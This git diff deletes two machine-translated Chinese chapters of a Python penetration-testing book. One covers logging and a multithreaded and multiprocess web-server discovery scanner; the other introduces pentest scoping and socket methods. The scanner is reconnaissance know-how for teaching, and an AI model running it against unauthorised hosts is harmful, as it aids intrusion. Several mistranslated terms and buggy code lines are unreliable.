395a9e8..0000000 --- a/trans/py-pentest-dev/10.md +++ /dev/null @@ -1,386 +0,0 @@ -# 第 10 章:为 Python 工具添加永久性 - -Python 具有巨大的功能,作为评估人员,我们只触及了可用工具和技术的表面。我们将介绍 Python 语言中一些对我们有帮助的更高级的特性。具体来说,我们将重点介绍如何将日志构建到脚本中,然后开发多线程和多处理工具。添加这些更高级的功能意味着您开发的工具将更能经受时间的考验,并且与其他解决方案不同。 - -# 理解 Python 中的日志记录 - -当您编写自己的模块时,比如[第 9 章](09.html "Chapter 9. Automating Reports and Tasks with Python")中突出强调的模块*使用 Python*自动化报告和任务时,您希望能够轻松跟踪错误、警告和调试消息。记录器库允许您跟踪事件并将其输出到**标准错误**(**标准错误**)、文件和**标准输出**(**标准错误**)。使用 logger 的好处是可以轻松定义格式,并使用特定的消息类型将其发送到相关输出。这些消息类似于 syslog 消息,它们模拟相同的日志记录级别。 - -### 注 - -有关记录器库的更多详细信息,请访问[https://docs.python.org/2/library/logging.html](https://docs.python.org/2/library/logging.html) 。 - -# 了解多线程和多处理的区别 - -中有两种不同的方式可以在 Python 中同时执行请求:多线程和多处理。通常,这两个项目相互混淆,当你读到它们时,你会在博客和新闻组上看到类似的反应。如果您谈论的是使用多处理器和处理内核,那么您就是在谈论多处理。如果您停留在同一个内存块中,但不使用多个内核或进程,那么您谈论的是多线程。多线程反过来运行并发代码,但由于 Python 解释器的设计,不能并行执行任务。 - -### 提示 - -如果您回顾[第 8 章](08.html "Chapter 8. Exploit Development with Python, Metasploit, and Immunity")、*利用 Python、Metasploit 和免疫*进行开发,并查看 Windows 内存的定义区域,您将更好地了解线程和进程在 Windows 内存结构中的工作方式。请记住,其他**操作系统****操作系统**处理这些内存位置的方式是不同的。 - -## 用 Python 创建多线程脚本 - -要理解多线程的限制,您必须理解 Python 解释器。Python 解释器使用**全局解释器锁**(**GIL**),这意味着当字节码由线程执行时,它一次由线程执行。 - -### 注 - -为了更好地理解 GIL,请查看[中的文档 https://docs.python.org/2/glossary.html#term-全局解释器锁](https://docs.python.org/2/glossary.html#term-global-interpreter-lock)。 - -这可以防止与一次由多个线程操作数据结构相关的问题。假设数据被写入字典,并且在并发线程中通过同一个键引用不同的数据段。你会把你打算写进字典的一些数据删掉。 - -### 注 - -对于多线程 Python 应用程序,您将听到一个称为**线程安全**的术语。这意味着,“某个线程是否可以修改某个内容而不影响数据的完整性或可用性?”即使某个内容被认为不是**线程安全的**,您也可以使用锁(稍后将介绍)根据需要控制数据输入。 - -我们将使用之前在[第 6 章](06.html "Chapter 6. Assessing Web Applications with Python")中创建的`head_request.py`脚本,*使用 Python*评估 Web 应用程序,并将其作为一个新脚本进行成熟。此脚本将使用队列来保存所有需要处理的任务,这些任务将在执行期间动态分配。该队列是通过从文件中读取值并存储这些值以供以后处理而构建的。我们将合并新的记录器库,以便在脚本执行时将详细信息输出到`results.log` 文件。以下屏幕截图显示了此新脚本执行后的结果: - -![Creating a multithreaded script in Python](graphics/B04315_10_01.jpg) - -此外,以下突出显示的日志文件包含脚本的详细执行和并发线程的输出: - -![Creating a multithreaded script in Python](graphics/B04315_10_02.jpg) - -### 注 - -此脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_threaded.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_threaded.py) 。 - -现在,随着目标的实现,我们从库需要导入什么开始,并配置两个全局变量。第一个变量保存排队的工作负载,第二个变量用于锁定线程一段时间,以便在屏幕上打印数据: - -### 注 - -请记住:并发处理意味着要处理项目。细节是按执行的方式提供的,在控制台上显示可能会出现混乱。为了解决这个问题,我们使用一个锁来充分暂停执行,以返回必要的细节。记录器是线程安全库,但打印不是,其他库也可能不是。因此,在适当的地方使用锁。 - -``` -import urllib2, argparse, sys, threading, logging, Queue, time -queue = Queue.Queue() -lock = threading.Lock() -``` - -在此之后,我们需要创建将产生线程的类,唯一新的构造函数概念是`threading.Thread.__init__(self)`: - -``` -class Agent(threading.Thread): - def __init__(self, queue, logger, verbose): - threading.Thread.__init__(self) - self.queue = queue - self.logger = logger - self.verbose = verbose -``` - -然后,我们需要创建一个函数来处理每个线程中的实际数据。该函数首先定义初始值,如您所见,这些值是从队列中提取的。它们表示从文件加载到队列中的**互联网协议**(**IP**)地址: - -``` - def run(self): - while True: - host = self.queue.get() - print("[*] Testing %s") % (str(host)) - target = "http://" + host - target_secure = "https://" + host -``` - -从这里开始,我们将处理主机潜在网站的不安全和安全版本。以下代码用于网站的不安全部分,其工作类似于[第 6 章](06.html "Chapter 6. Assessing Web Applications with Python")、*使用 Python*评估 Web 应用程序中突出显示的脚本。唯一的区别在于,我们添加了新的记录器功能,以将详细信息打印到结果日志文件中。正如您在下面的代码中所看到的,将详细信息写入记录器与写入 print 语句几乎相同。您还将注意到,我们使用了`with`语句来锁定线程进程,以便打印详细信息。这对于 I**/O**是不必要的,但如果不是这样,则很难阅读: - -``` - try: - request = urllib2.Request(target) - request.get_method = lambda : 'HEAD' - response = urllib2.urlopen(request) - except: - with lock: - self.logger.debug("[-] No web server at %s - reported by thread %s" % (str(target), str - (threading.current_thread().name))) - print("[-] No web server at %s reported by thread %s") % - (str(target), str(threading.current_thread().name)) - response = None - if response != None: - with lock: - self.logger.debug("[+] Response from %s reported by - thread %s" % (str(target), str(threading.current_thread(). - name))) - print("[*] Response from insecure service on %s reported by - thread %s") % (str(target), str(threading.current_thread().name)) - self.logger.debug(response.info()) -``` - -请求-响应指令的安全部分与代码的非安全部分几乎相同,如下所示: - -``` - try: - target_secure = urllib2.urlopen(target_secure) - request_secure.get_method = lambda : 'HEAD' - response_secure = urllib2.urlopen(request_secure) - except: - with lock: - self.logger.debug("[-] No secure web server at %s reported by - thread %s" % (str(target_secure), str(threading.current_thread().name))) - print("[-] No secure web server at %s reported by - thread %s") % (str(target_secure), str(threading.current_thread().name)) - response_secure = None - if response_secure != None: - with lock: - self.logger.debug("[+] Secure web server at %s reported by - thread %s" % (str(target_secure), str(threading.current_thread().name))) - print("[*] Response from secure service on %s reported by thread %s") - % (str(target_secure), str(threading.current_thread().name)) - self.logger.debug(response_secure.info()) -``` - -最后,此函数列出了已完成的任务: - -``` - self.queue.task_done() -``` - -正如前面突出显示的一样,参数和选项的配置与其他脚本非常相似。因此,为了简洁起见,省略了这些内容,但是可以在前面的链接中找到它们。但是,更改的是记录器的配置。我们设置了一个变量,该变量可以通过参数传递日志文件的名称。然后,我们配置记录器,使其处于输出到文件的适当级别,并且该格式标记线程的输出,以包括时间、线程名称、日志记录级别和实际消息。最后,我们配置将用作所有日志记录操作参考的对象: - -``` - log = args.log # Configure the log output file - if ".log" not in log: - log = log + ".log" - level = logging.DEBUG # Logging level - format = logging.Formatter("%(asctime)s [%(threadName)-12.12s] - [%(levelname)-5.5s] %(message)s") - logger_obj = logging.getLogger() # Getter for logging agent - file_handler = logging.FileHandler(args.log) - targets_list = [] - # Configure logger formats for STDERR and output file - file_handler.setFormatter(format) - # Configure logger object - logger_obj.addHandler(file_handler) - logger_obj.setLevel(level) -``` - -设置好记录器后,我们可以实际设置使脚本多线程化所需的最后几行代码。我们将所有目标从文件加载到一个列表中,然后将该列表解析到队列中。我们可以做得更紧一些,但是下面的格式更容易阅读。然后我们生成 worker 并将`setDaemon`设置为`True`,以便脚本在主线程完成后终止,从而防止脚本挂起: - -``` - # Load the targets into a list and remove trailing "\n" - with open(targets) as f: - targets_list = [line.rstrip() for line in f.readlines()] - # Spawn workers to access site - for thread in range(0, threads): - worker = Agent(queue, logger_obj, verbose) - worker.setDaemon(True) - worker.start() - # Build queue of work - for target in targets_list: - queue.put(target) - # Wait for the queue to finish processing - queue.join() -if __name__ == '__main__': - main() -``` - -前面的详细信息创建了一个功能性多线程 Python 脚本,但存在一些问题。Python 多线程非常容易出错。即使使用编写良好的脚本,您也可以在每次迭代中返回不同的错误。此外,如前面的代码所示,完成相对较短的任务需要大量的代码。最后,根据执行脚本的情况和操作系统,线程可能不会提高处理性能。另一种解决方案是使用多处理而不是多线程,多线程更容易编码,更不容易出错,并且(再次)可以使用多个内核或处理器。 - -### 注 - -Python 有许多库可以支持并发性,从而简化编码。例如,使用货币处理 URL 可以通过简单请求([完成 http://pythonhosted.org/simple-requests/](http://pythonhosted.org/simple-requests/) ),已于[建成 http://www.gevent.org/](http://www.gevent.org/) 。前面的代码示例用于显示如何修改并发脚本以包含多线程支持。在使脚本成熟时,您应该看看其他库是否可以直接启用更好的功能,以便提高您的个人知识并创建仍然相关的脚本。 - -## 用 Python 创建多处理脚本 - -在进入使用 Python 创建多处理脚本之前,您应该了解大多数人遇到的陷阱。这将帮助您在将来尝试成熟您的工具集。Python 中的多处理脚本将遇到四个主要问题: - -* 对象序列化 -* 并行写入或读取数据并处理锁 -* 具有相关并行性的操作系统细微差别**应用程序接口**(**API**) -* 将当前脚本(线程或非线程脚本)转换为利用并行性的脚本 - -在用 Python 编写多处理脚本时,最大的障碍是处理对象的序列化(称为 pickle)和反序列化(称为 unpickle)。当您编写自己的与多处理相关的代码时,可能会看到对 pickle 库的引用错误。这意味着您遇到了与数据序列化方式相关的问题。 - -### 注 - -Python 中的某些对象无法序列化,因此必须找到解决方法。最常见的引用方式是使用`copy_reg`库。此库提供了一种定义函数的方法,以便可以序列化这些函数。 - -可以想象,就像并发代码一样,将数据写入和读取到单个文件或其他**输入/输出**(**I/O**资源将导致问题。这是因为每个核心或处理器都是同时处理数据的,而且在大多数情况下,这是在其他进程不知道的情况下处理的。因此,如果您正在编写需要输出详细信息的代码,则可以锁定进程,以便适当地处理详细信息。此功能通过使用`multiprocessing.Lock()`功能来处理。 - -除了 I/O 之外,还有一个额外的问题,即进程之间使用共享内存。由于这些过程相对独立地运行(取决于实现),因此在内存中引用的可扩展数据可能会有问题。谢天谢地,`multiprocessing`图书馆提供了许多工具来帮助我们。基本解决方案是使用`multiprocessing.Values()`和`multiprocessing.Arrays()`,可以跨流程共享。 - -### 注 - -有关共享内存和多处理的更多详细信息,请参见[https://docs.python.org/2/library/multiprocessing.html#module-multiprocessing.SharedTypes](https://docs.python.org/2/library/multiprocessing.html#module-multiprocessing.sharedctypes)。 - -在处理和内存管理方面,并非所有的操作系统都是平等创建的。对于系统工程师和开发人员来说,了解这些不同的操作系统在这些级别上是如何工作的是非常必要的。作为评估人员,我们在开发更高级的工具和创建漏洞利用时也有同样的需求,正如前面所强调的。 - -想想有多少次你看到一个新的工具或脚本出现,而它只在一个操作系统或发行版上测试过;当您使用它时,该产品在其他地方不起作用。多处理脚本也不例外,在编写这些脚本时,请记住最终目标。如果您不打算让脚本在 Kali 之外的任何地方运行,那么请确保在那里进行测试。如果要在 Windows 上运行它,则需要验证相同的脚本设计方法是否也适用于 Windows。具体来说,多处理代码的入口点需要在`main()`函数内,或者本质上在检查`__name__`是否等于`'__main__':`的下方。如果不是这样,您可能正在创建一个分叉炸弹,或者一个无限循环的生成过程,最终导致系统崩溃。 - -### 注 - -为了更好地理解 Windows 对进程分叉和 Python 多处理的限制,您可以参考[https://docs.python.org/2/library/multiprocessing.html#windows](https://docs.python.org/2/library/multiprocessing.html#windows) 。 - -最后要考虑的是将已建立的脚本转换为多处理脚本。尽管互联网上有大量演示,显示用户使用线程或非线程脚本并将其转换为多处理脚本,但它们通常只适用于演示。将功能代码转换为稳定且有用的多处理脚本通常需要重写。这是因为前面提到的要点突出了您必须克服的挑战。 - -那么你从这一切中学到了什么? - -* 将并行执行的函数必须是可拾取的 -* 在处理 I/O 时,可能需要合并锁,而共享内存需要来自多处理库的特定函数 -* 需要保护并行进程的主要入口点 -* 脚本不容易从线程或非线程格式转换为多处理格式,因此,应该考虑重新设计脚本 - -### 注 - -为简洁起见,参数和选项的详细信息已被删除,但完整的详细信息可在[中找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_process.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/multi_process.py) 。 - -考虑到中的所有这些,我们现在可以重写`head_request.py`脚本,以适应多个多处理。`run()`函数的代码在很大程度上被重写,以便容纳对象,以便对其进行酸洗。这是因为`host_request`函数是由每个子流程运行的。`urllib2`请求和响应是不可拾取的对象,因此,在传递之前需要将数据转换为字符串。此外,对于多处理脚本,必须处理记录器,而不是直接调用记录器。通过这种方式,子流程知道使用通用文件名引用写入什么。 - -此格式防止多个进程同时写入文件。首先,我们创建一个时间戳,它将在抓取日志处理程序时用作参考。以下代码突出显示了初始值的配置以及不安全的服务请求和响应说明: - -``` -import multiprocessing, urllib2, argparse, sys, logging, datetime, time -def host_request(host): - print("[*] Testing %s") % (str(host)) - target = "http://" + host - target_secure = "https://" + host - timenow = time.time() - record = datetime.datetime.fromtimestamp(timenow).strftime - ('%Y-%m-%d %H:%M:%S') - logger = logging.getLogger(record) - try: - request = urllib2.Request(target) - request.get_method = lambda : 'HEAD' - response = urllib2.urlopen(request) - response_data = str(response.info()) - logger.debug("[*] %s" % response_data) - response.close() - except: - response = None - response_data = None -``` - -在不安全请求和响应指令之后是安全服务请求和响应指令,如下所示: - -``` - try: - request_secure = urllib2.urlopen(target_secure) - request_secure.get_method = lambda : 'HEAD' - response_secure = str(urllib2.urlopen(request_secure).read()) - response_secure_data = str(response.info()) - logger.debug("[*] %s" % response_secure_data) - response_secure.close() - except: - response_secure = None - response_secure_data = None -``` - -捕获请求和响应详细信息后,返回详细信息并适当记录: - -``` - if response_data != None and response_secure_data != None: - r = "[+] Insecure webserver detected at %s reported by %s" % - (target, str(multiprocessing.Process().name)) - rs = "[+] Secure webserver detected at %s reported by %s" % - (target_secure, str(multiprocessing.Process().name)) - logger.debug("[+] Insecure web server detected at %s and reported - by process %s" % (str(target), str(multiprocessing.Process().name))) - logger.debug("[+] Secure web server detected at %s and reported by process - %s" % (str(target_secure), str(multiprocessing.Process().name))) - return(r, rs) - elif response_data == None and response_secure_data == None: - r = "[-] No insecure webserver at %s reported by %s" % (target, - str(multiprocessing.Process().name)) - rs = "[-] No secure webserver at %s reported by %s" % (target_secure, - str(multiprocessing.Process().name)) - logger.debug("[-] Insecure web server was not detected at %s and reported - by process %s" % (str(target), str(multiprocessing.Process().name))) - logger.debug("[-] Secure web server was not detected at %s and reported - by process %s" % (str(target_secure), str(multiprocessing.Process().name))) - return(r, rs) - elif response_data != None and response_secure_data == None: - r = "[+] Insecure webserver detected at %s reported by %s" % - (target, str(multiprocessing.Process().name)) - rs = "[-] No secure webserver at %s reported by %s" % (target_secure, - str(multiprocessing.Process().name)) - logger.debug("[+] Insecure web server detected at %s and reported by - process %s" % (str(target), str(multiprocessing.Process().name))) - logger.debug("[-] Secure web server was not detected at %s and reported - by process %s" % (str(target_secure), str(multiprocessing.Process().name))) - return(r, rs) - elif response_secure_data != None and response_data == None: - response = "[-] No insecure webserver at %s reported by %s" % - (target, str(multiprocessing.Process().name)) - rs = "[+] Secure webserver detected at %s reported by %s" % (target_secure, - str(multiprocessing.Process().name)) - logger.debug("[-] Insecure web server was not detected at %s and reported by - process %s" % (str(target), str(multiprocessing.Process().name))) - logger.debug("[+] Secure web server detected at %s and reported by process %s" - % (str(target_secure), str(multiprocessing.Process().name))) - return(r, rs) - else: - logger.debug("[-] No results were recorded for %s or %s" % (str(target), str(target_secure))) -``` - -如前所述,记录器使用处理程序,我们通过创建定义记录器设计的函数来完成。然后,每个子流程将使用`multiprocessing.map`中的`initializer`参数调用此函数。这意味着我们可以跨进程完全控制记录器,这可以防止需要传递的不可拾取对象出现问题: - -``` -def log_init(log): - level = logging.DEBUG - format = logging.Formatter("%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s] %(message)s") # Log format - logger_obj = logging.getLogger() - file_handler = logging.FileHandler(log) - targets_list = [] - # Configure logger formats for STDERR and output file - file_handler.setFormatter(format) - # Configure logger object - logger_obj.addHandler(file_handler) - logger_obj.setLevel(level) -``` - -现在,通过`main()`函数中的所有这些细节,我们为参数和选项定义了**命令行界面**(**CLI**。然后,我们从目标文件和参数变量生成将要测试的数据: - -``` - # Set Constructors - targets = args.targets - verbose = args.verbose - processes = args.multiprocess - log = args.log - if ".log" not in log: - log = log + ".log" - # Load the targets into a list and remove trailing "\n" - with open(targets) as f: - targets_list = [line.rstrip() for line in f.readlines()] -``` - -最后,下面的代码使用`map`函数,在迭代目标列表时调用函数`host_request`。`map`函数允许多处理脚本以类似于先前多线程脚本的方式对工作进行排队。然后,我们可以使用 CLI 参数加载的 processs 变量来定义要生成的子进程的数量,这允许我们动态控制分叉的进程的数量。这是一个非常猜测和检查的过程控制方法。 - -### 提示 - -如果您想更具体一些,另一种方法是确定 CPU 的数量,并将其加倍以确定进程的数量。这可以通过以下方式实现:`processes = multiprocessing.cpu_count() *2`。 - -``` - # Establish pool list - pool = multiprocessing.Pool(processes=threads, - initializer=log_init(log)) - # Queue up the targets to assess - results = pool.map(host_request, targets_list) - for result in results: - for value in result: - print(value) -if __name__ == '__main__': - main() -``` - -生成代码后,我们可以输出帮助文件以决定脚本需要如何运行,如以下屏幕截图所示: - -![Creating a multiprocessing script in Python](graphics/B04315_10_03.jpg) - -当脚本运行时,输出逐条列出请求成功、失败和相关过程,如以下屏幕截图所示: - -![Creating a multiprocessing script in Python](graphics/B04315_10_04.jpg) - -最后,`results.log`文件包含与脚本生成的活动相关的详细信息,如以下屏幕截图所示: - -![Creating a multiprocessing script in Python](graphics/B04315_10_05.jpg) - -我们现在已经完成了我们的多处理脚本,它可以以受控的方式处理日志记录。这是创建行业标准工具的正确方向。通过额外的时间,我们可以将这个脚本附加到我们在上一章中创建的`nmap_parser.py`脚本,甚至以`nmap_doc_generator.py`脚本为例生成详细的报告。这些功能的结合将使该工具更加有用。 - -# 建筑行业标准工具 - -Python 是一种奇妙的语言,这些高级技术强调控制线程、进程、I/O 和日志记录,对于为脚本添加永久性至关重要。业内有很多例子可以帮助评估安全性,比如 Sulley。这是一个自动化应用程序模糊化的工具,旨在帮助识别安全弱点,其结果可用于编写 Metasploit 等框架。其他工具通过改进代码库帮助强化安全性,例如**开放式 Web 应用程序安全项目的**(**OWASP**Python 安全项目。这些都是一些工具的例子,这些工具一开始是为了满足缺失的需求,后来获得了强大的追随者。这里提到这些工具是为了突出您的工具在正确的重点下可以成为什么。 - -### 提示 - -当你开发你自己的工具时,记住你的目标是什么,从小处着手,增加能力。这将帮助你使项目易于管理并取得成功,与小成功相关的小奖励将促使你参与更大的创新。最后,不要害怕重新开始。很多时候,一旦你意识到你做某事的方式可能不合适,代码就会引导你走向正确的方向。 - -# 总结 - -从[第 2 章](02.html "Chapter 2. The Basics of Python Scripting")、*Python 脚本基础*到[第 10 章](10.html "Chapter 10. Adding Permanency to Python Tools")、*为 Python 工具添加永久性*,我们重点介绍了改进渗透测试脚本的增量方法。知识的有机增长展示了如何改进代码以满足当今环境的评估需求。它还强调了这样一个事实,即脚本在某些特定的地方适合评估员的需要,并且目前有现成的工具或项目可以完成预期的任务。在本章中,我们见证了前面示例的高潮,这些示例开发了能够运行并发代码和并行进程的工具,可以一直有效地记录数据。我希望你喜欢这本书,就像我喜欢写它一样。 \ No newline at end of file diff --git a/trans/py-pentest-dev/11.md b/trans/py-pentest-dev/11.md deleted file mode 100644 index a507a53..0000000 --- a/trans/py-pentest-dev/11.md +++ /dev/null @@ -1,676 +0,0 @@ -# 第 1 章 Python 与渗透测试和网络 - -**穿透**(**笔**)测试仪与黑客是类似的术语。不同之处在于,渗透测试人员为一个组织工作,以防止黑客企图,而黑客则为任何目的进行黑客攻击,如名誉、为金钱出售漏洞或利用漏洞进行个人仇恨。 - -许多训练有素的黑客已经在信息安全领域找到了工作,他们侵入一个系统,然后通知受害者安全漏洞,以便修复这些漏洞。 - -当黑客为组织或公司工作以保护其系统安全时,他们被称为渗透测试人员。pentester 在获得客户的合法批准后,进行黑客攻击企图破坏网络,然后提交调查结果报告。要成为 pentesting 方面的专家,一个人应该对他们的技术概念有深入的了解。在本章中,我们将介绍以下主题: - -* 五旬斋的范围 -* 五旬斋的必要性 -* 待测部件 -* 优质戊酯的品质 -* 五测试法 -* 了解您需要的测试和工具 -* 网络套接字 -* 服务器套接字方法 -* 客户端套接字方法 -* 通用套接字方法 -* 插座实例 -* 套接字异常 -* 有用的套接字方法 - -# 介绍 pentesting 的范围 - -简单来说,渗透测试就是测试一家公司的信息安全措施。信息安全措施包括公司的网络、数据库、网站、面向公众的服务器、安全策略以及客户指定的所有其他内容。一天结束时,pentester 必须提交一份详细的调查结果报告,如弱点、公司基础设施中的漏洞以及特定漏洞的风险水平,并在可能的情况下提供解决方案。 - -## 五旬斋的必要性 - -有几点描述了五旬斋的意义: - -* Pentesting 识别可能暴露组织机密性的威胁 -* 专家 pentesting 通过对组织安全的完整和详细评估为组织提供保证 -* Pentesting 通过产生大量流量来评估网络的效率,并检查防火墙、路由器和交换机等设备的安全性 -* 更改或升级现有的软件、硬件或网络设计基础架构可能会导致 pentesting 检测到的漏洞 -* 在当今世界,潜在的威胁正在显著增加;pentesting 是一种积极主动的练习,旨在最大限度地减少被利用的机会 -* Pentesting 可确保是否遵循了适当的安全策略 - -考虑一个著名的电子商务公司从网上生意赚钱的例子。一名黑客或一群黑帽黑客在公司网站上发现漏洞并进行攻击。这家公司将不得不承担巨大的损失。 - -## 待测部件 - -组织应在测试前进行风险评估操作;这将有助于识别以下方面的主要威胁,如错误配置或漏洞: - -* 路由器、交换机或网关 -* 面向公众的系统;网站、DMZ、电子邮件服务器和远程系统 -* DNS、防火墙、代理服务器、FTP 和 web 服务器 - -应对网络安全系统的所有硬件和软件组件进行测试。 - -## 优质戊酯的品质 - -以下几点描述了优质戊酯的质量。他们应: - -* 选择一套适当的测试和工具,以平衡成本和效益 -* 遵循适当的程序,进行适当的规划和记录 -* 确定每个渗透测试的范围,例如目标、限制和程序的正当性 -* 准备好展示如何利用这些漏洞 -* 在最终报告中明确说明潜在风险和发现,并在可能的情况下提供降低风险的方法 -* 因为技术进步很快,所以随时更新自己 - -pentester 使用手动技术或相关工具测试网络。市场上有很多可用的工具。其中有些是开源的,有些是非常昂贵的。在编程的帮助下,程序员可以自己制作工具。通过创建您自己的工具,您可以明确您的概念,还可以执行更多的研发。如果您对 pentesting 感兴趣并想制作您自己的工具,那么 Python 编程语言是最好的,因为 Python 中除了易于编程之外,还提供了大量免费的 pentesting 包。这种简单性,加上第三方库,如 scapy 和 mechanize,减少了代码大小。在 Python 中,要生成程序,不需要定义 Java 之类的大类。用 Python 编写代码比用 C 编写代码效率更高,而且高级库可以轻松地用于几乎任何可以想象的任务。 - -如果您了解一些 Python 编程,并且对 pentesting 感兴趣,那么这个模块非常适合您。 - -## 确定测试范围 - -在我们进入测试之前,应该定义测试的范围。定义范围时应考虑以下几点: - -* 您应与客户协商确定项目范围。例如,如果 Bob(客户机)想要测试组织的整个网络基础设施,那么 pentester Alice 将通过考虑该网络来定义 pentesting 的范围。Alice 将咨询 Bob 是否应包括任何敏感或限制区域。 -* 你应该考虑到时间、人和金钱。 -* 您应该根据 pentester 和客户签署的协议来分析测试边界。 -* 业务实践的变化可能会影响范围。例如,添加子网、安装新的系统组件、添加或修改 web 服务器等可能会更改 pentesting 的范围。 - -测试范围在两种类型的测试中定义: - -* **无损检测**:本次检测仅限于发现并进行检测,不存在任何潜在风险。它执行以下操作: - - * 扫描并识别远程系统的潜在漏洞 - * 调查并验证调查结果 - * 正确利用漏洞映射 - * 谨慎利用远程系统以避免中断 - * 提供概念证明 - * 未尝试**拒绝服务**(**DoS**)攻击 - -* **破坏性试验**:该试验会产生风险。执行以下动作: - - * 尝试 DoS 和缓冲区溢出攻击,有可能导致系统 - - 宕机 - -# 五旬斋的方法 - -有三种类型的方法可用于测试: - -* 黑匣子 pentesting 采用非确定性测试方法 - - * 您将只获得一个公司名称 - * 这就像是利用外部攻击者的知识进行黑客攻击 - * 无需事先了解系统 - * 耗时 - -* 白盒测试遵循确定性测试方法 - - * 您将获得需要测试的基础设施的完整知识 - * 这就像作为一名恶意员工工作一样,他对公司的基础设施有着充分的了解 - * 将向您提供有关公司基础设施、网络类型、公司政策、注意事项、IP 地址和 IPS/IDS 防火墙 - - 的信息 -* 灰盒测试采用黑白盒测试的混合方法 - - * 测试仪通常对客户提供的目标网络/系统的信息有限,以降低成本,减少 pentester - * 部分的试错内部执行安全评估和测试 - -# 引入 Python 脚本 - -在开始阅读本模块之前,您应该了解 Python 编程的基础知识,如基本语法、变量类型、数据类型元组、列表字典、函数、字符串、方法等。两个版本,3.4 和 2.7.8,可在[python.org/downloads/](http://python.org/downloads/)上获得。 - -在这个模块中,所有的实验和演示都是在 Python2.7.8 版本中完成的。如果您使用诸如 Kali 或 BackTrack 之类的 Linux 操作系统,那么就不会有问题,因为许多程序(如无线监听)在 Windows 平台上不起作用。Kali Linux 也使用 2.7 版本。如果你喜欢在红帽或 CentOS 上工作,那么这个版本很适合你。 - -大多数黑客选择这个职业是因为他们不想做编程。他们想使用工具。然而,没有编程,黑客就无法提高自己的技能。每次,他们都必须通过互联网搜索工具。相信我,在看到它的简单之后,你会爱上这种语言的。 - -# 了解您需要的测试和工具 - -正如您所看到的,本模块分为七章。要进行扫描和嗅探测试,您需要一个连接设备的小型网络。如果你没有实验室,你可以在你的计算机上制造虚拟机。对于无线流量分析,您应该有一个无线网络。要进行 web 攻击,需要在 Linux 平台上运行 Apache 服务器。最好在 web 服务器上使用 CentOS 或 Red Hat 版本 5 或 6,因为其中包含 Apache 和 PHP 的 RPM。对于 Python 脚本,我们将使用 Wireshark 工具,它是开源的,可以在 Windows 和 Linux 平台上运行。 - -# 用 Python 学习常用测试平台 - -您现在将执行 pentesting;我希望您熟悉网络基础知识,如 IP 地址、有类子网、无类子网、端口、网络地址和广播地址的含义。pentester 必须在网络基础以及至少一个操作系统方面都是完美的;如果您正在考虑使用 Linux,那么您就走上了正确的道路。在本模块中,我们将在 Windows 和 Linux 上执行我们的程序。在本模块中,将使用 Windows、CentOS 和 Kali Linux。 - -黑客总是喜欢在 Linux 系统上工作。由于它是免费的、开源的,Kali Linux 标志着回溯的重生,就像黑客工具的军火库。Kali Linux NetHunter 是第一个针对 Nexus 设备的开源 Android 渗透测试平台。然而,有些工具在 Linux 和 Windows 上都可以工作,但是在 Windows 上,您必须安装这些工具。我希望你对 Linux 有所了解。现在,是在 Python 上使用网络的时候了。 - -# 网络插座 - -网络套接字地址包含 IP 地址和端口号。用一种非常简单的方式,套接字是与其他计算机通信的一种方式。通过套接字,一个进程可以通过网络与另一个进程通信。 - -要创建套接字,请使用套接字模块中提供的`socket.socket()`功能。套接字函数的一般语法如下所示: - -``` -s = socket.socket (socket_family, socket_type, protocol=0) -``` - -以下是参数的说明: - -``` -socket_family: socket.AF_INET, PF_PACKET -``` - -`AF_INET`是 IPv4 的地址族。`PF_PACKET`在设备驱动层操作。Linux 的 pcap 库使用`PF_PACKET`。您将在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中看到更多关于`PF_PACKET`的详细信息。这些参数表示传输层的地址族和协议: - -``` -Socket_type : socket.SOCK_DGRAM, socket.SOCK_RAW,socket.SOCK_STREAM -``` - -`socket.SOCK_DGRAM`参数表示 UDP 不可靠且无连接,`socket.SOCK_STREAM`表示 TCP 可靠且是双向的、基于连接的服务。我们将在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中讨论`socket.SOCK_RAW`。 - -``` -protocol -``` - -一般来说,我们离开这个论点;如果未指定,则需要 0。我们将在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中看到此论点的使用。 - -# 服务器套接字方法 - -在客户机-服务器体系结构中,有一个提供服务的集中式服务器,许多客户机从集中式服务器请求和接收服务。以下是您需要了解的一些方法: - -* `socket.bind(address)`:此方法用于将地址(IP 地址、端口号)连接到套接字。在连接到该地址之前,必须先打开套接字。 -* `socket.listen(q)`:此方法启动 TCP 侦听器。`q`参数定义了排队的连接的最大数量。 -* `socket.accept()`:此方法的用途是接受客户端的连接。在使用此方法之前,必须使用`socket.bind(address)`和`socket.listen(q)`方法。`socket.accept()`方法返回两个值:`client_socket`和`address`,其中 client_socket 是用于通过连接发送和接收数据的新套接字对象,address 是客户端的地址。稍后您将看到示例。 - -# 客户端套接字方法 - -客户专用的唯一方法如下: - -* `socket.connect(address)`:此方法将客户端连接到服务器。`address`参数是服务器的地址。 - -# 一般插座方法 - -一般插座方法如下: - -* `socket.recv(bufsize)`:此方法从套接字接收 TCP 消息。`bufsize`参数定义了它在任何时候可以接收的最大数据量。 -* `socket.recvfrom(bufsize)`:此方法从套接字接收数据。该方法返回一对值:第一个值给出接收的数据,第二个值给出发送数据的套接字的地址。 -* `socket.recv_into(buffer)`:此方法接收小于等于`buffer`的数据。`buffer`参数是通过`bytearray()`方法创建的。我们将在稍后的示例中讨论它。 -* `socket.recvfrom_into(buffer)`:此方法从套接字获取数据并写入缓冲区。返回的值是一对(N 字节,地址),其中 N 字节是接收到的字节数,地址是发送数据的套接字的地址。 - - ### 注 - - 在较早版本的 python 中使用 `socket.recv from_into(buffer)`方法时要小心。在此方法中发现缓冲区溢出漏洞。该漏洞的名称为 CVE-2014-1912 其漏洞于 2014 年 2.月 27 日发布。Python 2.7.7 之前的 2.5 版本、3.3.4 之前的 3.x 版本和 3.4rc1 之前的 3.4.x 版本中的 `Modules/socketmodule.c`中的 `socket.recvfrom_into`函数存在缓冲区溢出,远程攻击者可以通过特制的字符串执行任意代码。 - -* `socket.send(bytes)`:此方法用于向套接字发送数据。发送数据之前,请确保套接字已连接到远程计算机。它返回发送的字节数。 -* `socket.sendto(data, address)`:此方法用于向套接字发送数据。通常,我们在 UDP 中使用这个方法。UDP 